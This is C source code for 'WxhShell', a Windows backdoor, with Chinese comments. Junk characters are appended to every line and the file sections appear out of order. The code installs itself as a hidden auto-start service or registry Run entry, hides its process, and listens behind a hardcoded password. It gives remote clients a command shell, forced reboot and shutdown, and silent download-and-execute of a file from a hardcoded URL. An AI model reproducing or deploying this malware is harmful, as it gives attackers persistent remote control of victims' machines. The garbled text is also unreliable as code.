    } pX?/=T@ Bw  
  // 关机 )zK@@E  
  case 'd': { 9>T5~C'*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5N(OW:M  
    if(Boot(SHUTDOWN)) xZ(ryE%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }BI|M_q.1~  
    else { kcG_ n  
    closesocket(wsh); H7dT6`<~Y  
    ExitThread(0); k keDt+^  
    } ODNZLCB~t  
    break; gAr=fq-|  
    } ]8/g[Ii  
  // 获取shell Q:U>nm>xA  
  case 's': { hI 1or4V  
    CmdShell(wsh); \dJOZ2J<z  
    closesocket(wsh); TX).*%f [r  
    ExitThread(0); N~~ sM"n  
    break; UU*v5&  
  } \[&&4CN{  
  // 退出 gfJHB3@  
  case 'x': { ve^gzE$<I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yS1i$[JV  
    CloseIt(wsh); YF)k0bu&;  
    break; d<Dm(   
    } / }Pj^^6A<  
  // 离开 z)Lw\H^/  
  case 'q': { l KG' KR.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~'v9/I-"  
    closesocket(wsh); 7j8lhrM}^  
    WSACleanup(); 53WCF[  
    exit(1); __Zex5Y#-  
    break; DM,)nh6'  
        } kgh0  
  } s;cGf+  
  } K5^`,}Q^  
"p]!="\  
  // 提示信息 7~Z(dTdSG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (0E<Fz V  
} :!ablO~  
  } WG*),P?  
A DVUx}  
  return;  ZvwU  
} *vzEfmN:d  
}0,dG4Oo=  
// shell模块句柄 N}>[To3  
int CmdShell(SOCKET sock) 2Q5 -.2]  
{ AQwai>eL  
STARTUPINFO si; P^AI*tH"m  
ZeroMemory(&si,sizeof(si)); 1gQ_76Yck  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #I1q,fm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >t{-_4Yv?  
PROCESS_INFORMATION ProcessInfo; JOH\K0=e  
char cmdline[]="cmd"; X0Wx\xDg[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +ZOKfX  
  return 0; =Cd{bj.8  
} P$Q,t2$A  
 +;-ZU  
// 自身启动模式 0:`*xix  
int StartFromService(void) |DYgc$2pN  
{ f,x;t-o+R  
typedef struct q%LjOPE V  
{ [* M':  
  DWORD ExitStatus; BA[ uO3\4  
  DWORD PebBaseAddress; #p ;O3E@  
  DWORD AffinityMask; k~F;G=P  
  DWORD BasePriority;  nZ)E @  
  ULONG UniqueProcessId; Z~F*$jn  
  ULONG InheritedFromUniqueProcessId; H: S<O%f  
}   PROCESS_BASIC_INFORMATION; ] n\]ao  
#Vu;R5GZ}  
PROCNTQSIP NtQueryInformationProcess; 1'N<ITb  
C]Y%dQh+a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %o 5'M^U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iI>7I<_  
=3ovaP  
  HANDLE             hProcess; 9kh MG$  
  PROCESS_BASIC_INFORMATION pbi; D5!#c-Y-  
5mS/,fs@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZZL@UO>:  
  if(NULL == hInst ) return 0; zf&:@P{  
$6(a6!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E]v?:!!ds  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mx#%oJnsi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S*gm[ZLQ  
c8Q}m(bhWI  
  if (!NtQueryInformationProcess) return 0; Xmi~fie  
qV;I<AM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ':3[?d1Es  
  if(!hProcess) return 0; G<* Iw>ep  
C1+f\A|9FP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .9N7`  
#uF`|M$u  
  CloseHandle(hProcess); ~KRS0 ^  
N6v?Qzvi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cg o  
if(hProcess==NULL) return 0; &>B"/z  
8Ihl}aguW  
HMODULE hMod; F{.\i*$  
char procName[255];  "iR:KW@  
unsigned long cbNeeded; &_u.q/~   
a#k7 aOT0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /!MVpi'6&  
``eam8Az_U  
  CloseHandle(hProcess); j ijwHL  
YWs?2I  
if(strstr(procName,"services")) return 1; // 以服务启动 :Nv7Wt!  
CBoCT3@~  
  return 0; // 注册表启动 \7%#4@;?  
} T9XUNR{&  
.xuzu#-  
// 主模块 jRd$Vt  
int StartWxhshell(LPSTR lpCmdLine) #lg R"%  
{ $wi4cHh  
  SOCKET wsl; -cijLlz%+  
BOOL val=TRUE; zhm0 J-g  
  int port=0; CJER&"em7  
  struct sockaddr_in door; JXMH7  
lx=tOfj8  
  if(wscfg.ws_autoins) Install(); -jy0Kl/p  
T=)qD2?  
port=atoi(lpCmdLine); !\[JWN@v  
d,?Tq  
if(port<=0) port=wscfg.ws_port; KPI96P  
3h:y[Vm#9y  
  WSADATA data; gnjhy1o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N'WC!K.e  
J{.UUw9Agd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \1LfDlQk)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o<%0|n_O&  
  door.sin_family = AF_INET; ^!d0a bA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "TJ*mN.i{}  
  door.sin_port = htons(port); mLpM8~L  
m./PRV1$x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { amdgb,vh  
closesocket(wsl); } c k <R  
return 1; ruGeN  
} M;,$ )>P  
]gg(Z!|iQ  
  if(listen(wsl,2) == INVALID_SOCKET) { (wM` LE(Ks  
closesocket(wsl); b0YEIV<$  
return 1; :)D7_[i  
} DJ@n$G`^^  
  Wxhshell(wsl); q[C?1Kc .z  
  WSACleanup(); 9O:l0 l  
x(vQ %JC  
return 0; (y 7X1Qc)  
F-,chp  
} tV`=o$`  
BkGEx z  
// 以NT服务方式启动 "I)zi]vk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,!b<SQ5M  
{ |5tZ*$nGa  
DWORD   status = 0; (or"5}\6-  
  DWORD   specificError = 0xfffffff; R6O v  
z-606g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uBa<5YDF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *$W&jfW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UUlz3"`  
  serviceStatus.dwWin32ExitCode     = 0; @anjjC5a~  
  serviceStatus.dwServiceSpecificExitCode = 0; O"+0 b|  
  serviceStatus.dwCheckPoint       = 0; GaG>0 x   
  serviceStatus.dwWaitHint       = 0; 8>,w8(Nt  
`H6~<9r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3>-h- cpMX  
  if (hServiceStatusHandle==0) return; #$- E5R;x  
- ~|Gwr"  
status = GetLastError(); %&yPl{  
  if (status!=NO_ERROR) ro\ oL  
{ T1 $E][@Iv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p>;@]!YWQ  
    serviceStatus.dwCheckPoint       = 0; =I546($  
    serviceStatus.dwWaitHint       = 0; ;6Yg}L  
    serviceStatus.dwWin32ExitCode     = status; LCH\;07V#  
    serviceStatus.dwServiceSpecificExitCode = specificError; wuA?t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gK`w|kh`  
    return; ,M;9|kE*  
  } Vv}R S@4U  
LK~aLa5wG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8ROKfPj;z  
  serviceStatus.dwCheckPoint       = 0; p8_^6wfg  
  serviceStatus.dwWaitHint       = 0; ]*\MIz{56'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;_e9v,  
} JEp)8{.bW8  
n jWe^  
// 处理NT服务事件,比如:启动、停止 o+A1-&qhN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W&*&O,c  
{ z{ :;Rb  
switch(fdwControl) 'R79,)|;[  
{ :xPo*#[Z(A  
case SERVICE_CONTROL_STOP: "mW'tm1+  
  serviceStatus.dwWin32ExitCode = 0; oNAnJ+_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; igfQ,LWe!  
  serviceStatus.dwCheckPoint   = 0; |(z{)yWbC[  
  serviceStatus.dwWaitHint     = 0; b4e~Z  
  { J8alqs7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8~lGuH  
  } !%,7*F(  
  return; jU j\<aW  
case SERVICE_CONTROL_PAUSE: phuiLW{&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *9EwZwE_K  
  break; Yt]`>C[|D  
case SERVICE_CONTROL_CONTINUE: II=`=H{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @%Ld\8vdfJ  
  break; \Y)HSJR;e  
case SERVICE_CONTROL_INTERROGATE: Z^&G9I#  
  break; ~R w1  
}; T+}|$/Tv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'K?h6?#  
} 0\tac/  
#&}- q RA  
// 标准应用程序主函数 CUI3^;&S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m4hkV>$d  
{ @kFZN6  
[Y .8C$0  
// 获取操作系统版本 K$,Zg  
OsIsNt=GetOsVer(); 5wx_ol}2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JY#vq'dl|  
X3:z=X&Zd  
  // 从命令行安装 _-_iw&F  
  if(strpbrk(lpCmdLine,"iI")) Install(); $*#^C;7O  
)4 4Y`v  
  // 下载执行文件 *OG<+#*\_?  
if(wscfg.ws_downexe) { NZB*;U~t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]!B0= XP  
  WinExec(wscfg.ws_filenam,SW_HIDE); !E 5FU *s  
} 4^L;]v,|7  
[Km{6L&  
if(!OsIsNt) { Dt: Q$  
// 如果时win9x,隐藏进程并且设置为注册表启动  pux IJ  
HideProc(); rFg$7  
StartWxhshell(lpCmdLine); o72r `2  
} -qIi.]/f"9  
else *(OG+OkC  
  if(StartFromService()) dw"Es;^  
  // 以服务方式启动 @Z~YFnEJi  
  StartServiceCtrlDispatcher(DispatchTable); \Ggh 95y  
else OTXZdAv  
  // 普通方式启动 Ib#-M;{  
  StartWxhshell(lpCmdLine); bej(Ds0  
]->"4,}  
return 0; S; % &X  
} ,<Q  
pWV_KS  
d?*] /ZiR  
PEf yHf7`  
=========================================== >a?Bk4w  
v1OVrk>s>  
fvC,P#z'|  
Ss>pNH@ c  
|U|>YA1[b  
J\@6YU[A  
" R.^]{5  
f*o  
#include <stdio.h> Njc@5*rJ &  
#include <string.h> VHD+NY/  
#include <windows.h> WywS1viD  
#include <winsock2.h> Dp([r  
#include <winsvc.h> %F 2h C x  
#include <urlmon.h> }(nT(9|  
EK';\}  
#pragma comment (lib, "Ws2_32.lib") Nm?^cR5r  
#pragma comment (lib, "urlmon.lib") dR S:S_  
|4df)  
#define MAX_USER   100 // 最大客户端连接数 xb,d,(^]R  
#define BUF_SOCK   200 // sock buffer )^ah, ;(  
#define KEY_BUFF   255 // 输入 buffer [CJ<$R !  
^K?-+  
#define REBOOT     0   // 重启 d?fS#Ryb  
#define SHUTDOWN   1   // 关机  k[r^@|  
vE:*{G;Y  
#define DEF_PORT   5000 // 监听端口 keAoJeG,J  
EQm{qc;  
#define REG_LEN     16   // 注册表键长度 &:  Q'X  
#define SVC_LEN     80   // NT服务名长度 a^R?w|zCX  
Bh3F4k2bg7  
// 从dll定义API }>@\I^Xm,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Km[Qw k-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eYUb>M)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V]zc-gYI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &<F9Z2^  
l_h:S`z.  
// wxhshell配置信息 :ppaq  
struct WSCFG { EF`}*7)  
  int ws_port;         // 监听端口 :21d  
  char ws_passstr[REG_LEN]; // 口令 =:]ps<Qx  
  int ws_autoins;       // 安装标记, 1=yes 0=no h&>3;Lj  
  char ws_regname[REG_LEN]; // 注册表键名 cb}zCl j o  
  char ws_svcname[REG_LEN]; // 服务名 *[[Gu^t^!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _SBbd9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z1HH0{q-A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LikcW#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @2>UR9j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F/oqYk9`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q1}!Okr"2  
xuioU  
}; yvd)pH<a2  
5BVvT `<  
// default Wxhshell configuration [^qT?se{  
struct WSCFG wscfg={DEF_PORT, sINQ?4_8T  
    "xuhuanlingzhe", j"qND=15  
    1, T9nb ~ P[  
    "Wxhshell", ? :H+j6+f  
    "Wxhshell", S{=5n R9j  
            "WxhShell Service", jK w 96  
    "Wrsky Windows CmdShell Service", G2` z?);1b  
    "Please Input Your Password: ", ~5KcbGD~  
  1, `c  
  "http://www.wrsky.com/wxhshell.exe", y!FO  
  "Wxhshell.exe" k\f _\pj6  
    }; meX2Y;  
J2z/XHS  
// 消息定义模块  /qLO/Mim  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $[|(&8+7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]m+%y+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n5}]C{s'  
char *msg_ws_ext="\n\rExit."; I*u3 e  
char *msg_ws_end="\n\rQuit."; RAW;ze*"  
char *msg_ws_boot="\n\rReboot..."; g|~px$<iY  
char *msg_ws_poff="\n\rShutdown..."; K%z!#RyJ4  
char *msg_ws_down="\n\rSave to "; K\K& K~Z  
Hyb(.hlZh  
char *msg_ws_err="\n\rErr!"; 2K}49*  
char *msg_ws_ok="\n\rOK!"; 4XpWDfa.}  
BSm"]!D8*  
char ExeFile[MAX_PATH]; 2k.VTGak  
int nUser = 0; ]+D@E2E  
HANDLE handles[MAX_USER]; rB[J*5v  
int OsIsNt; !Z$d<~Mq q  
JEto_&8,C  
SERVICE_STATUS       serviceStatus; -UhpPw 6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QH'*MY  
:&BPKqKp  
// 函数声明 Q}AZkZ  
int Install(void); 2) X#&IE  
int Uninstall(void); .6wPpLG?{  
int DownloadFile(char *sURL, SOCKET wsh); \g}]u(zg%  
int Boot(int flag); yv,FzF}7  
void HideProc(void); \=%lH= yS  
int GetOsVer(void); z!}E2j_9P  
int Wxhshell(SOCKET wsl); (?4%Xtul1  
void TalkWithClient(void *cs); 2 @#yQB1  
int CmdShell(SOCKET sock); tguB@,O  
int StartFromService(void); *'Yy@T8M  
int StartWxhshell(LPSTR lpCmdLine); n>'(d*[e&  
S=qh7ML  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KF rsXf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $)M3fZ$#  
!r njmc  
// 数据结构和表定义 YmV/[{  
SERVICE_TABLE_ENTRY DispatchTable[] = d( v"{N}  
{ Q|_F P:  
{wscfg.ws_svcname, NTServiceMain}, ~]KdsT(=_  
{NULL, NULL} k|;a"56F  
}; JxVGzb`8  
 Vl_6nY;  
// 自我安装 gFaZ ._  
int Install(void) }1#m+ (;  
{ Hv;xaT<}V  
  char svExeFile[MAX_PATH]; u BEw YQB  
  HKEY key; qDdO-fPev  
  strcpy(svExeFile,ExeFile); F- ,gj{s  
'kd}vq#|  
// 如果是win9x系统,修改注册表设为自启动 63fYX"  
if(!OsIsNt) { )@wC6Ij  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zx#Gm=H4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {5 dVK  
  RegCloseKey(key); 't<iB&wgF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j )J |'b|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A]BeI  
  RegCloseKey(key); -@N-i$!;J  
  return 0; @\by`3*Q  
    } xFu ,e  
  } {hS!IOM  
} yT^2;/Z  
else { )qxt<  
_U~R   
// 如果是NT以上系统,安装为系统服务 %2 r ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '?rR>$s  
if (schSCManager!=0) tc~gn!"  
{ RC_Pj)  
  SC_HANDLE schService = CreateService SAm%$v z%M  
  ( "c%wq 0  
  schSCManager, WDc[+Xyw  
  wscfg.ws_svcname, XFhH+4#]  
  wscfg.ws_svcdisp, 2!%)_<  
  SERVICE_ALL_ACCESS, 3bRxV @0.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gk:fw#R  
  SERVICE_AUTO_START, NM. e4  
  SERVICE_ERROR_NORMAL, o0r&w;!  
  svExeFile, B!'K20"gF  
  NULL, IyO 0~Vx>  
  NULL, * F!B4go  
  NULL, 6P{bUom?  
  NULL, y [Vd*8  
  NULL +<E#_)}`D6  
  ); P'~`2W0sz  
  if (schService!=0) >2#<gp3  
  { e r3M vw  
  CloseServiceHandle(schService); 6))":<J  
  CloseServiceHandle(schSCManager); v`4w=!4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9^*RK6  
  strcat(svExeFile,wscfg.ws_svcname); %H\b5& _y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,M.C]6YMr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ 5}t;  
  RegCloseKey(key); W|< c[S  
  return 0; KM&P5}  
    } 8^_:9&)i  
  } 7C|AiSH  
  CloseServiceHandle(schSCManager); l!p`g>$&f  
} 7-S?RU]g  
} dDS{XR  
Xqf\}p n  
return 1; 2Bt/co-~4  
} yi8vD~aA[  
i#:To |\u  
// 自我卸载 b!H1 |7>  
int Uninstall(void) gJ l^K  
{  +P(*S  
  HKEY key; Gamn,c9  
<EC"E #p  
if(!OsIsNt) { aImzK/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )"TVR{I%B  
  RegDeleteValue(key,wscfg.ws_regname); {C w.?JU  
  RegCloseKey(key); %M x|"ff  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q^[t</_ N  
  RegDeleteValue(key,wscfg.ws_regname); e;6:U85LS  
  RegCloseKey(key); ~<k>07  
  return 0; "dpjxH=xO  
  } A f`Kg-c_(  
} }+j B5z'w  
} RLf-Rdx/  
else { nWK8.&{.  
HxbzFu?h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  %lj5Olj  
if (schSCManager!=0) s_ZPo6p  
{ ~ZafTCa;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2P:X_:`~[  
  if (schService!=0) ->ZP.7  
  { s8 WB!x{t  
  if(DeleteService(schService)!=0) { Y%i<~"k  
  CloseServiceHandle(schService); 56C8)?  
  CloseServiceHandle(schSCManager); mAlG }<  
  return 0; fTEZ@#p  
  } Mnranhe>G  
  CloseServiceHandle(schService); hp -|a  
  } A^aY-V  
  CloseServiceHandle(schSCManager); C).\ J !  
} @Z/jaAjUC  
} F w{:shC  
]v<8 l4p;  
return 1; hT%fM3|,e  
} 8i;1JA  
&l cfX\y  
// 从指定url下载文件 vapC5,W"2-  
int DownloadFile(char *sURL, SOCKET wsh) C-edQWbcP  
{ |0Z J[[2  
  HRESULT hr; M[I=N  
char seps[]= "/"; o?ug`m"  
char *token; @. sn  
char *file; 6zM:p/  
char myURL[MAX_PATH]; :[@rA;L  
char myFILE[MAX_PATH]; xn, u$@F  
O n0!>-b,  
strcpy(myURL,sURL); <^nS%hXEr  
  token=strtok(myURL,seps); Q7y' 0s  
  while(token!=NULL) A^}#  
  { u""26k51  
    file=token; X!g;;DB\  
  token=strtok(NULL,seps); ?[#w*Am7  
  } TJYhgna  
emQc%wd{  
GetCurrentDirectory(MAX_PATH,myFILE); M? 8sy  
strcat(myFILE, "\\"); 3^KR{N p  
strcat(myFILE, file); 7mS Nz.  
  send(wsh,myFILE,strlen(myFILE),0); zsQ]U!*rD  
send(wsh,"...",3,0); L%H\|>k`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MO0t  
  if(hr==S_OK) ((Av3{05H&  
return 0; & *tL)qKDc  
else =9TwBr.CJ  
return 1; DD/B\  
r]6+&K  
} [+FiD  
bB0/FiY7o  
// 系统电源模块 7a>+ma\  
int Boot(int flag) 2RZa}  
{ wMkHx3XD  
  HANDLE hToken; Wpf~Ji6||  
  TOKEN_PRIVILEGES tkp; I3 6@x`f  
5ppr;QaB  
  if(OsIsNt) { T}J)n5U}\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BoT#b^l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~_i=hx  
    tkp.PrivilegeCount = 1; |./:A5_h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PM!JjMeQh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (J4( Ge  
if(flag==REBOOT) { Dlz0*eHD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v,opyTwG|  
  return 0; $<nD-4p  
} O!>#q4&]  
else { xVsI#`<a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mm_)=Ipj>  
  return 0; XRV~yBIS  
} ,fiV xnQ  
  } qJ5b;=  
  else { F&`%L#s|  
if(flag==REBOOT) { LV ]10v6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &W3srJo  
  return 0; t[;-gi,,  
} 5OPvy,e6  
else { 5222"yn"c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F,as>X#  
  return 0; cGs& Kn;h  
} PE;<0Cz\  
} ){mqo%{SO  
m2~`EL>  
return 1; LRw-I.z  
} B4HMs$>   
,f%4xXI  
// win9x进程隐藏模块 d_:f-  
void HideProc(void) 9b6U] z,  
{ ^f N/  
zk1]?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z Uj1vf6I  
  if ( hKernel != NULL ) \0Xq&CG=E  
  { #'@@P6o5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2f{p$YIt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <k3KCt  
    FreeLibrary(hKernel); >;"%Db  
  } ;TC]<N.YJT  
[ Y{  
return; SnX)&>B  
} P_H2[d&/>D  
o+{7"Na8[  
// 获取操作系统版本 ^r<l#D,  
int GetOsVer(void) &hZ.K"@7{  
{ mz x$(u  
  OSVERSIONINFO winfo; #lik: ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :RDk{^b)  
  GetVersionEx(&winfo); 5w~ 0Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <}.!G>X  
  return 1; 45BpZ~-  
  else +_ 8BJ  
  return 0; 3xRn  
} |F\fdB}?S:  
XxeP;}  
// 客户端句柄模块 *Cp:<M nd  
int Wxhshell(SOCKET wsl) DD  
{ H>D?  
  SOCKET wsh; n@H;*nI|  
  struct sockaddr_in client; K[?@nl?,z  
  DWORD myID; Wc m'E3c,  
}!r pH{y  
  while(nUser<MAX_USER) ~Hd *Xl  
{ w87$p821  
  int nSize=sizeof(client); eC<?g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S&&Q U #  
  if(wsh==INVALID_SOCKET) return 1; kZ6:= l  
iZ/iMDfC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |}8SjZcQW  
if(handles[nUser]==0) BbCW3!(  
  closesocket(wsh);  jrS$!cEo  
else sUQ Q/F6  
  nUser++; ,* \s  
  } T tWzjt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o:*$G~. k  
V@y&n1?6  
  return 0; (+xT5 2  
} mBB"e"o  
;*+H&  
// 关闭 socket !M)] 1Y  
void CloseIt(SOCKET wsh) uT=5zu  
{ *aFh*-Sj2I  
closesocket(wsh); (["V( $  
nUser--; oO7)7$|1  
ExitThread(0); ang~_Ec.  
} NYKYj`K  
;gAL_/_  
// 客户端请求句柄 B7Zi|-F  
void TalkWithClient(void *cs) +~:OUR*>  
{ CRiqY_gBf  
e\-,e+  
  SOCKET wsh=(SOCKET)cs; AuM}L&`i^  
  char pwd[SVC_LEN]; C%ZPWOc_8  
  char cmd[KEY_BUFF]; <Voct  
char chr[1]; WuI$   
int i,j; GpO*As_2  
n _x+xVi%  
  while (nUser < MAX_USER) { MO| Dwuaf  
P;K3T![  
if(wscfg.ws_passstr) { ={]POL\ A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~e)"!r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y]`o-dV  
  //ZeroMemory(pwd,KEY_BUFF); tnBCO%uG  
      i=0; Lr d-  
  while(i<SVC_LEN) { II=!E  
dK8dC1@,X;  
  // 设置超时 iv],:|Mbd  
  fd_set FdRead; 2 p}I  
  struct timeval TimeOut; 4hfq7kq7(  
  FD_ZERO(&FdRead); O~?d;.b  
  FD_SET(wsh,&FdRead); %h,&ND  
  TimeOut.tv_sec=8; (F3R!n  
  TimeOut.tv_usec=0; CGb4C(%-7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c4Q9foE   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &sYxe:H  
x TH3g^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @)!N{x?  
  pwd=chr[0]; l&kZ6lZ  
  if(chr[0]==0xd || chr[0]==0xa) { &v;o }Q}E{  
  pwd=0; W4P+?c>'2  
  break; ^ rUq{  
  } J,=ZUh@M  
  i++; 1U^KN~!  
    } eJ ^I+?h  
Ejf5M\o  
  // 如果是非法用户,关闭 socket LylCr{s7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xx2t0AIB  
} !)`*e>]x  
yc`3)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (c"!&&S^ =  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q \fyp\z  
=[Z3]#h  
while(1) { G;[O~N3n.  
~6O~Fth  
  ZeroMemory(cmd,KEY_BUFF); 9KJ}A i  
62Tel4u  
      // 自动支持客户端 telnet标准   xpu 2RE  
  j=0; f<|*^+  
  while(j<KEY_BUFF) { 9%"\s2T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Xr 9]g`  
  cmd[j]=chr[0]; |QR9#Iv  
  if(chr[0]==0xa || chr[0]==0xd) { ]Wjcr2Wq  
  cmd[j]=0; ;R<V-gab  
  break; O(e!Vx{t!  
  } l[%=S!  
  j++; Lp4F1H2t-  
    } lOe|]pQ.,  
P*U^,Jh<  
  // 下载文件 nqTOAL9FF  
  if(strstr(cmd,"http://")) { ;i/? fw[h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZSD7%gE<D  
  if(DownloadFile(cmd,wsh)) o Q*LP{M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tGbx/$Y   
  else voTP,R[}85  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .!i`YT*jF  
  } {^:NII]  
